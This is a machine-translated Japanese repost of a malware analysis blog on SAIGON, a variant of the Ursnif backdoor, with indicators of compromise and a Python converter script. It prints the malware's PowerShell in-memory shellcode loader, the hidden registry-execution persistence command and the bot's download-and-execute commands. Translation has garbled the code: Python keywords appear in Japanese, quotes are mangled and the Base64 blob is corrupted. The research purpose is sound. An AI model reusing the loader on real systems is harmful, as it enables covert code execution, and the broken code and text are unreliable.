サイゴン、謎のウルスニフ フォーク

PowerShell script written to PsRun news

Ursnif (別名 Gozi/Gozi-ISFB) は、現在も活発に配布されている最も古いバンキング マルウェア ファミリの 1 つです。 Ursnif の最初のメジャー バージョンは 2006 年に特定されましたが、その後のいくつかのバージョンは、主にソース コードのリークが原因でリリースされています。 FireEye は、複数の POS マルウェア ファミリを含む一連のツールをホストするサーバーを特定した後、2019 年 9 月に、これまで特定されていなかった Ursnif マルウェア ファミリの亜種を脅威インテリジェンス サブスクライバーに報告しました。このマルウェアは、「SaiGon バージョン 3.50 rev 132」として自己識別されており、当社の分析では、Ursnif の v3 (RM3) 亜種のソース コードに基づいている可能性が高いことが示唆されています。特に、SAIGON の機能は、本格的なバンキング マルウェアではなく、より一般的なバックドアであることを示唆しており、おそらく標的型のサイバー犯罪作戦での使用に合わせて調整されています。

テクニカル分析

行動

SAIGON は、スケジュールされたタスクを介して PowerShell を使用して起動される、レジストリ キーに格納された Base64 でエンコードされたシェルコード blob として感染したコンピューターに表示されます。他の Ursnif 亜種と同様に、このマルウェアの主要コンポーネントは DLL ファイルです。この DLL には、未使用の空の関数である単一のエクスポート関数DllRegisterServerがあります。マルウェアのすべての関連機能は、DLL がロードされ、そのエントリ ポイントを介して初期化されるときに実行されます。

マルウェアは、最初の実行時に、 %SystemDrive%pagefile.sysまたは%SystemDrive%hiberfil.sys (最初に識別された方) の作成タイムスタンプを使用してマシン ID を生成します。興味深いことに、システム ドライブは、 KUSER_SHARED_DATA構造体から ( SharedUserData→NtSystemRootを介して) 直接、やや珍しい方法で照会されます。 KUSER_SHARED_DATAは、カーネル メモリの特別な部分にある構造体であり、すべてのユーザー モード プロセスのメモリ空間にマップされ (したがって共有されます)、常に固定メモリ アドレス(SharedUserDataシンボルが指す 0x7ffe0000 ) に配置されます。

次に、コードはGetWindowThreadProcessId(GetShellWindow(), …)への呼び出しを使用して、現在のシェル プロセスを探します。コードには特別なチェック機能もあります。シェルの親プロセスの名前から計算されたチェックサムがexplorer.exe ( 0xc3c07cf0 ) のチェックサムと一致する場合、代わりに親プロセスへの注入を試みます。

SAIGON は、従来のVirtualAllocEx / WriteProcessMemory / CreateRemoteThread関数の組み合わせを使用して、このプロセスに挿入します。このプロセスが挿入されると、バイナリ内から 2 つの埋め込みファイルが読み込まれます。

  • PUBLIC.KEYファイル。マルウェアのコマンド アンド コントロール (C2) サーバーから送信される他の埋め込みファイルとデータを検証および復号化するために使用されます。
  • スクリプト内に ” @SOURCE@ ” プレースホルダーを含む PowerShell ローダー スクリプト テンプレートであるRUN.PS1ファイル:

$hanksefksgu = [System.Convert]::FromBase64String(“@SOURCE@”);
Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(“JHdneG1qZ2J4dGo9JGh)
hbmtzZWZrc2d1Lkxlbmd0aDskdHNrdm89IltEbGxJbXBvcnQoYCJrZXJuZWwzMmAiKV1gbnB1YmxpYyBzdGF
0aWMgZXh0ZXJuIEludDMyIEdldEN1cnJlbnRQcm9jZXNzKCk7YG5bRGxsSW1wb3J0KGAidXNlcjMyYCIpXWB
ucHVibGljIHN0YXRPYyBleHRlcm4gSW50UHRyIEdldERDKEludFB0ciBteHhhaHhvZik7YG5bRGxsSW1wb3J0K
GAia2VybmVsMzJgilildYG5wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlUmVtb3RLVGhyZWFkKel
udFB0ciBoY3d5bHJicywgSW50UHRyIHdxZXIsdWludCBzZmosSW50UHRyIHdsbGV2LEludFB0ciB3d2RyaWN
0d2RrLHVpbnQga2xtaG5zayxJbnRQdHIgdmNleHN1YWx3aGgpO2BuW0RsbEltcG9ydChgImtlcm5lbDMyYCI
pxWBucHVibGljIHN0YXRpYyBleHRlcm4gVUludDMyIFdhaXRGb3JTaW5nbGVPYmpY3QoSW50UHRyIGFqLC
BVSW50MzIga2R4c3hldik7YG5bRGxsSW1wb3J0KGAia2VybmVsMzJgiildYG5wdWJsaWMgc3RhdGljIGV4dG
VybiBJbnRQdHIgVmlydHVhbEFsbG9jKEludFB0ciB4esx1aW50IGtuYnQsdWludCB0bXJ5d2h1LHVpbnQgd2d1
dHVkKTsiOyR0c2thYXhvdHhlPUFkZC1UEXBLIC1tZW1iZXJEZWZpbml0aW9uICR0c2t2byAtTmFtZSANV2LUMZI
nic1uYW1lc3Bhy2UgV2luMzJGdW5jdGlvbnMgLXBhc3N0aHJ1OyRtaHhrcHVsbD0kdHNrYWF4b3R4ZTo6Vml
ydHVhbEFsbG9jKDasJHdneG1qZ2J4dGosMHgzMDAwLDB4NDApO1tTeXN0ZW0uUnVudGltZS5JbnRlcm9wU
2VydmljZXMuTWFyc2hhbF06OkNvcHkoJGhhbmtzZWZrc2d1LDAsJG1oeGtwdWxsLCR3Z3htamdieHRqKTskd
GRvY25ud2t2b3E9JHRza2FheG90eGU6OkNyZWF0ZVJlbW90ZVRocmVhZCgtMSwwLDAsJG1oeGtwdWxsLC
RtaHhrcHVsbCwwLDApOyRvY3h4am1oaXltPSR0c2thYXhvdHhlOjpXYWl0Rm9yU2luZ2xlT2JqZWN0KCR0ZG
9jbm53a3ZvcSwzMDAwMCk7″)));

マルウェアは、この PowerShell スクリプト テンプレートの ” @SOURCE@ ” プレースホルダーを Base64 でエンコードされたバージョンのそれ自体に置き換え、” HKEY_CURRENT_USERIdentities{<random_guid>} ” の下の ” PsRun ” という名前のレジストリ値に PowerShell スクリプトを書き込みます。レジストリ キー (図 1)。

PowerShell script written to PsRun
図 1: PsRunに書き込まれた PowerShell スクリプト

次に、SAIGON のインスタンスは、” Power<random_word> ” (例: PowerSgs ) という名前の新しいスケジュールされたタスク (図 2) を作成します。これが何らかの理由で失敗した場合、” HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun ” レジストリ キーの使用にフォールバックし、システムの再起動後も永続性を維持できるようにします。

スケジュールされたタスク
図 2: スケジュールされたタスク

使用する永続化メカニズムに関係なく、レジストリからバイナリを実行するコマンドは次のようになります。

PowerShell.exe -windowstyle hidden -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwASQBkAGUAbgB0AGkAdABpAGUAcwBcAHsANAAzaEIA
OQA1AEUANQBCAC0ARAAyADEAOAAtADAAQQBCADgALQA1AEQANwBGAC0AMgBDADcAOAA5AEMANQA5
AEIAMQBEAEYAfQAnACkALgBQAHMAUgB1AG4A

このコマンドから Base64 エンコーディングを削除すると、「 iex (gp ‘HKCU:Identities{43B95E5B-D218-0AB8-5D7F-2C789C59B1DF}’).PsRun. 」のようになります。 このコマンドを実行すると、 Get-ItemProperty ( gp ) を使用して以前のレジストリ値の内容が取得され、 Invoke-Expression ( iex ) を使用して実行されます。

最後に、レジストリ内の PowerShell コードがメモリ ブロックを割り当て、Base64 でデコードされたシェルコード BLOB をそこにコピーし、 CreateRemoteThreadを使用してその領域を指す新しいスレッドを起動し、スレッドが完了するのを待ちます。次のスクリプトは、PowerShell の難読化が解除され、美化されたバージョンです。

$hanksefksgu = [System.Convert]::FromBase64String(“@SOURCE@”);
$wgxmjgbxtj = $hanksefksgu.Length;

$tskvo = @”
[DllImport(“kernel32”)]
public static extern Int32 GetCurrentProcess();

[DllImport(“user32”)]
public static extern IntPtr GetDC(IntPtr mxxahxof);

[DllImport(“kernel32”)]
public static extern IntPtr CreateRemoteThread(IntPtr hcwylrbs, IntPtr wqer, uint sfj, IntPtr wllev, IntPtr wwdrictwdk, uint klmhnsk, IntPtr vcexsualwhh);

[DllImport(“kernel32”)]
public static extern UInt32 WaitForSingleObject(IntPtr aj, UInt32 kdxsxev);

[DllImport(“kernel32”)]
public static extern IntPtr VirtualAlloc(IntPtr xy, uint knbt, uint tmrywhu, uint wgutud);
“@;

$tskaaxotxe = Add-Type -memberDefinition $tskvo -Name ‘Win32’ -namespace Win32Functions -passthru;
$mhxkpull = $tskaaxotxe::VirtualAlloc(0, $wgxmjgbxtj, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Copy($hanksefksgu, 0, $mhxkpull, $wgxmjgbxtj);
$tdocnnwkvoq = $tskaaxotxe::CreateRemoteThread(-1, 0, 0, $mhxkpull, $mhxkpull, 0, 0);
$ocxxjmhiym = $tskaaxotxe::WaitForSingleObject($tdocnnwkvoq, 30000);

マシンに足場を確立すると、SAIGON は組み込みのLOADER.INI設定を読み込んで解析し (詳細については「設定」セクションを参照)、メインのワーカー スレッドを開始します。これにより、C2 サーバーでコマンドを継続的にポーリングします。

構成

Ursnif のソース コードには、「結合データ」と呼ばれる概念が組み込まれています。これは、実行可能ファイルにバンドルされた圧縮/暗号化されたファイルのセットです。初期の亜種は、PE ヘッダーの後の特別な構造に依存し、特定のマジック バイト (Ursnif のバージョンに応じて「 JF 」「 FJ 」「 J1 」「 JJ 」) でマークされていました。 Ursnif v3 (図 3) では、このデータは単に PE ヘッダーの後にあるのではなく、PE ヘッダーのセキュリティ ディレクトリによってポイントされ、マジック バイトも「 WD 」 ( 0x4457 ) に変更されています。

Ursnif v3 結合データ
図 3: Ursnif v3 結合データ

この構造体は、バンドルされたファイルのさまざまなプロパティ (オフセット、サイズ、およびタイプ) を定義します。これは、SAIGON が 3 つの埋め込みファイルを保存するために使用するのとまったく同じ方法です。

  • PUBLIC.KEY – RSA 公開鍵
  • RUN.PS1 – PowerShell スクリプト テンプレート
  • LOADER.INI –マルウェアの設定

以下は、観測された構成オプションのリストです。

名前のチェックサム

名前

説明

0x97ccd204

ホスト一覧

通信に使用される C2 URL のリスト

0xd82bcb60

サーバーキー

C2との通信に使用される蛇の鍵

0x23a02904

グループ

ボットネット ID

0x776c71c0

アイドル期間

C2への最初のリクエストまで待機する秒数

0x22aa2818

最小稼働時間

稼働時間がこの値 (秒単位) を超えるまで待機します

0x5beb543e

ロード期間

C2 への後続のリクエスト間で待機する秒数

0x84485ef2

ホストキープ時間

障害が発生した場合に次の C2 サーバーに切り替える前に待機する分数

表 1: 構成オプション

コミュニケーション

SAIGON のネットワーク通信構造は Ursnif v3 と非常に似ていますが、いくつかの微妙な違いがあります。 SAIGON ビーコンは、” /index.html ” URL パスへの HTTP POST を介して multipart/form-data エンコードされたリクエストとして C2 サーバーに送信されます。送信されるペイロードは、まず Serpent 暗号化 (ECB モードと CBC モード) を使用して暗号化され、次に Base64 でエンコードされます。サーバーからの応答は、同じ Serpent キーで暗号化され、サーバーの RSA 秘密キーで署名されます。

SAIGONは、HTTP 要求で次の User-Agent ヘッダーを使用します (たとえば、Windows 10 では 10.0、Windows 7 では 6.1)、オペレーティング システムが 64 ビットの場合、文字列 ” ; Win64; x64 ” が追加されます。これにより、次のユーザー エージェント文字列の例が得られます。

  • Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 ” Windows 10 64 ビット
  • Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0 ” (Windows 7 32 ビット)

リクエストの形式も、表 2 で説明されている他の Ursnif の亜種で使用されているものと多少似ています。

ver=%u&group=%u&id=%08x%08x%08x%08x&type=%u&uptime=%u&knock=%u

名前

説明

ボットのバージョン (他の Ursnif 亜種とは異なり、これにはビルド番号のみが含まれるため、「3.5.xxx」の xxx 桁のみが含まれます)

グループ

ボットネット ID

ID

クライアントID

タイプ

リクエスト タイプ (0 – タスクのポーリング時、6 – システム情報データのアップロード用)

稼働時間

マシンの稼働時間 (秒)

ノック

ボットの「ノック」期間 (C2 への後続のリクエスト間で待機する秒数、LoadPeriod 構成オプションを参照)

表 2: リクエスト形式のコンポーネント

機能

SAIGON は、表 3 で説明されているボット コマンドを実装しています。

名前のチェックサム

名前

説明

0x45d4bf54

SELF_DELETE

マシンから自身をアンインストールします。スケジュールされたタスクを削除し、そのレジストリ キーを削除します

0xd86c3bdc

LOAD_UPDATE

URL からデータをダウンロードし、署名を復号して検証し、 .ps1ファイルとして保存して、「 PowerShell.exe -ep unrestricted -file %s 」を使用して実行します。

0xeac44e42

GET_SYSINFO

以下を実行して、システム情報を収集してアップロードします。

  1. システム情報.exe
  2. ネットビュー
  3. nslookup 127.0.0.1
  4. tasklist.exe /SVC
  5. driverquery.exe
  6. reg.exe クエリHKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall/s

0x83bf8ea0

LOAD_DLL

URL からデータをダウンロードし、復号化して検証し、それ自体をメモリにロードするために使用したのと同じシェルコード ローダーを使用して、DLL を現在のプロセスにロードします。

0xa8e78c43

LOAD_EXE

URL からのデータのダウンロード、復号化と検証、 .exe拡張子での保存、 ShellExecuteを使用した呼び出し

表 3: SAIGON ボット コマンド

Ursnif v3 との比較

表 4 は、Ursnif v3 と分析された SAIGON サンプルの類似点を示しています (相違点は太字で強調表示されています)。

 

ウルスニフ v3 (RM3)

サイゴン (Ursnif v3.5?)

永続化方法

PowerShell を使用してレジストリ キーに格納されたコードを実行するスケジュールされたタスク

PowerShell を使用してレジストリ キーに格納されたコードを実行するスケジュールされたタスク

構成の保管

セキュリティ PE ディレクトリは、’ WD ‘ マジック バイト (別名 Ursnif の「結合ファイル」) で始まる埋め込みバイナリ データを指します。

セキュリティ PE ディレクトリは、’ WD ‘ マジック バイト (別名 Ursnif の「結合ファイル」) で始まる埋め込みバイナリ データを指します。

PRNG アルゴリズム

xorshift64*

xorshift64*

チェックサムアルゴリズム

JAMCRC (別名、すべてのビットが反転した CRC32)

CRC32、結果を 1 ビット右に回転

データ圧縮

aPLib

aPLib

暗号化/復号化

CBC

ECB

データの完全性検証

RSA署名

RSA署名

通信方法

HTTP POST リクエスト

HTTP POST リクエスト

ペイロードのエンコーディング

パディングなしの Base64 (‘+’ と ‘/’ はそれぞれ ‘ _2B ‘ と ‘ _2F ‘ に置き換えられます)、ランダムなスラッシュが追加されます

パディングなしの Base64 (‘+’ と ‘/’ はそれぞれ ‘ %2B ‘ と ‘ %2F ‘ に置き換えられます)、ランダムなスラッシュなし

URL パスの模倣を使用していますか?

はい

いいえ

PXファイル形式を使用していますか?

はい

いいえ

表 4: Ursnif v3 と SAIGON サンプルの類似点と相違点

図 4 は、Ursnif v3 による URL パスの模倣の使用を示しています。この戦術は、SAIGON を含む他の Ursnif 亜種では見られません。

Ursnif v3 の模倣 (赤) 以前に確認された無害なブラウザ トラフィック (緑) SAIGON サンプルでは見られなかった
図 4: Ursnif v3 を模倣した (赤) 以前に確認された無害なブラウザー トラフィック (緑) SAIGON サンプルでは見られなかった

含意

SAIGON が Ursnif マルウェア エコシステムのより広範な進化を表しているかどうかは、現時点では不明です。これまでに確認された SAIGON サンプルの数が少ないこと (すべてのコンパイルのタイムスタンプが 2018 年のもの) は、SAIGON が少数の操作での使用に適合した Ursnif v3 の一時的なブランチであったことを示唆している可能性があります。特に、SAIGON の機能は典型的なバンキング マルウェアとは一線を画しており、標的型侵入操作のサポートにより適している可能性があります。これは、POS への侵入操作で使用されるツールをホストしていたサーバー上で SAIGON を以前に特定したこと、および FIN8 によって以前に使用されたツールと共に侵害されたホスピタリティ組織のネットワークにマルウェアが出現したというVISA の最近の通知によって、さらに裏付けられます。

謝辞

著者は、このブログ投稿をサポートしてくれた Kimberly Goody、Jeremy Kennelly、James Wyke に感謝します。

付録 A: サンプル

以下は、組み込み構成を含むサンプルのリストです。

サンプル SHA256: 8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5
サンプル バージョン: 3.50.132
PE タイムスタンプ: 2018-07-07T14:51:30
XOR クッキー: 0x40d822d9
C2 URL:

  • https://google-download[.]com
  • https://cdn-google-eu[.]com
  • https://cdn-gmail-us[.]com

グループ/ボットネット ID: 1001
サーバーキー: rvXxkdL5DqOzIRfh
アイドル期間: 30
ロード期間: 300
ホスト維持時間: 1440
RSA 公開鍵: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c
021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915
d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059、0x10001)

サンプル SHA256: c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6
サンプル バージョン: 3.50.132
PE タイムスタンプ: 2018-07-07T14:51:41
XOR クッキー: 0x40d822d9
C2 URL:

  • https://google-download[.]com
  • https://cdn-google-eu[.]com
  • https://cdn-gmail-us[.]com

グループ/ボットネット ID: 1001
サーバーキー: rvXxkdL5DqOzIRfh
アイドル期間: 30
ロード期間: 300
ホスト維持時間: 1440
RSA 公開鍵: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c
021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915
d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059、0x10001)

サンプル SHA256: 431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e
サンプル バージョン: 3.50.199
PE タイムスタンプ: 2018-11-15T11:17:09
XOR クッキー: 0x40d822d9
C2 URL:

  • https://mozilla-yahoo[.]com
  • https://cdn-mozilla-sn45[.]com
  • https://cdn-digicert-i31[.]com

グループ/ボットネット ID: 1000
サーバーキー: rvXxkdL5DqOzIRfh
アイドル期間: 60
ロード期間: 300
ホスト維持時間: 1440
RSA 公開鍵: (0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b15
02ccb5c021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f5
93518a2cf4915d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)

サンプル SHA256: 628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9
サンプル バージョン: 3.50.209
PE タイムスタンプ: 2018-12-04T10:47:56
XOR クッキー: 0x40d822d9
C2 URL

  • http://softcloudstore[.]com
  • http://146.0.72.76
  • http://setworldtime[.]com
  • https://securecloudbase[.]com

ボットネット ID: 1000
サーバーキー: 0123456789ABCDEF
アイドル期間: 20
最小稼働時間: 300
ロード期間: 1800
ホスト維持時間: 360
RSA 公開鍵: (0xdb7c3a9ea68fbaf5ba1aebc782be3a9e75b92e677a114b52840d2bbafa8ca49da40a64664d80cd62d9453
34f8457815dd6e75cffa5ee33ae486cb6ea1ddb88411d97d5937ba597e5c430a60eac882d8207618d14b660
70ee8137b4beb8ecf348ef247ddbd23f9b375bb64017a5607cb3849dc9b7a17d110ea613dc51e9d2aded、0x10001)

付録 B: IOC

ハッシュの例:

  • 8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5
  • c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6
  • 431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e [ VT ]
  • 628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9 [ VT ]

C2 サーバー:

  • https://google-download[.]com
  • https://cdn-google-eu[.]com
  • https://cdn-gmail-us[.]com
  • https://mozilla-yahoo[.]com
  • https://cdn-mozilla-sn45[.]com
  • https://cdn-digicert-i31[.]com
  • http://softcloudstore[.]com
  • http://146.0.72.76
  • http://setworldtime[.]com
  • https://securecloudbase[.]com

ユーザーエージェント:

  • “Mozilla/5.0 (Windows NT <os_version> ; rv:58.0) Gecko/20100101 Firefox/58.0″

その他のホストベースのインジケーター:

  • “Power <random_string> ” スケジュールされたタスク
  • HKCUIdentities{ <random_guid> } レジストリ キーの下の「PsRun」値

付録 C: シェルコード コンバーター スクリプト

次の Python スクリプトは、このマルウェアの分析を容易にすることを目的としています。このスクリプトは、PE ローダーを削除して PE ヘッダーを復元することにより、SAIGON シェルコード blob を元の DLL 形式に変換します。これらの変更により、SAIGON シェルコード blob の分析がはるかに簡単になります (たとえば、IDA でのファイルのロードが可能になります)。ただし、作成された DLL はデバッガーで実行するとクラッシュします。その実行のプロセス注入段階。この変換プロセスの後、サンプルはサイズが小さく、難読化されていないため、比較的簡単に分析できます。

#!/usr/bin/env python3
import argparse
インポート構造体
from datetime import datetime

MZ_HEADER = bytes.fromhex(
「4d5a90000300000004000000ffff0000」
‘b8000000000000004000000000000000’
‘000000000000000000000000000000’
‘0000000000000000000000080000000’
「0e1fba0e00b409cd21b8014ccd215468」
‘69732070726f6772616d2063616e6e6f’
‘742062652072756e20696e20444f5320’
‘6d6f64652e0d0d0a2400000000000000’
)

デフメイン():
parser = argparse.ArgumentParser(description=”Saigon マルウェア ファミリのシェルコードから PE へのコンバーター。”)
parser.add_argument(“サンプル”)
args = parser.parse_args()

open(args.sample, “rb”) を f:
データ = bytearray(f.read())

data.startswith(b’MZ’) の場合:
lfanew = struct.unpack_from(‘=I’, データ, 0x3c)[0]
print(‘これは既に MZ/PE ファイルです。’)
戻る
elif not data.startswith(b’xe9′):
print(‘ファイルの種類が不明です’)
戻る

struct.pack_into(‘=I’, データ, 0, 0x00004550)
データ[5] == 0x01の場合:
struct.pack_into(‘=H’, データ, 4, 0x14c)
elif データ[5] == 0x86:
struct.pack_into(‘=H’, データ, 4, 0x8664)
そうしないと:
print(‘不明なアーキテクチャ’)
戻る

# ファイル配置
struct.pack_into(‘=I’, データ, 0x3c, 0x200)

optional_header_size, _ = struct.unpack_from(‘=HH’, データ, 0x14)
マジック, _, _, size_of_code = struct.unpack_from(‘=HBBI’, データ, 0x18)
print(‘マジック:’, hex(マジック))
print(‘コードのサイズ:’, hex(size_of_code))

base_of_code, base_of_data = struct.unpack_from(‘=II’, データ, 0x2c)

魔法の場合 == 0x20b:
# データのベース、PE32+ には存在しない
size_of_code & 0x0fff の場合:
tmp = (size_of_code & 0xfffff000) + 0x1000
そうしないと:
tmp = size_of_code
base_of_data = base_of_code + tmp

print(‘Base of code:’, hex(base_of_code))
print(‘データのベース:’, hex(base_of_data))

data[0x18 + optional_header_size : 0x1000] = b’

size_of_header = struct.unpack_from(‘=I’, データ, 0x54)[0]

データサイズ = 0x3000
pos = data.find(struct.pack(‘=III’, 3, 5, 7, 11, 13))
pos >= 0 の場合:
data_size = pos – base_of_data

セクション = 0
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.text’,
size_of_code, base_of_code,
base_of_data – base_of_code, size_of_header,
0、0、
0、0、
0x60000020
)
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.rdata’,
data_size、base_of_data、
data_size, size_of_header + base_of_data – base_of_code,
0、0、
0、0、
0x40000040
)
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.data’,
0x1000、base_of_data + data_size、
0x1000、size_of_header + base_of_data – base_of_code + data_size、
0、0、
0、0、
0xc0000040
)

魔法の場合 == 0x20b:
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.pdata’,
0x1000、base_of_data + data_size + 0x1000、
0x1000, size_of_header + base_of_data – base_of_code + data_size + 0x1000,
0、0、
0、0、
0x40000040
)
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.bss’,
0x1600、base_of_data + data_size + 0x2000、
len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data – base_of_code + data_size + 0x2000,
0、0、
0、0、
0xc0000040
)
そうしないと:
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.bss’,
0x1000、base_of_data + data_size + 0x1000、
0x1000, size_of_header + base_of_data – base_of_code + data_size + 0x1000,
0、0、
0、0、
0xc0000040
)
セクション += 1
struct.pack_into(‘=8sIIIIIIHHI’, data, 0x18 + optional_header_size + 0x28 * セクション,
b’.reloc’,
0x2000、base_of_data + data_size + 0x2000、
len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data – base_of_code + data_size + 0x2000,
0、0、
0、0、
0x40000040
)

header = MZ_HEADER + data[:size_of_header – len(MZ_HEADER)]
pe = bytearray(ヘッダー + データ[0x1000:])
open(args.sample + ‘.dll’, ‘wb’) を f:
f.write(pe)

lfanew = struct.unpack_from(‘=I’, pe, 0x3c)[0]
タイムスタンプ = struct.unpack_from(‘=I’, pe, lfanew + 8)[0]
print(‘PE タイムスタンプ:’, datetime.utcfromtimestamp(timestamp).isoformat())

 

if __name__ == “__main__”:
主要()

参考: https ://www.mandiant.com/resources/blog/saigon-mysterious-ursnif-fork

Comments

Copied title and URL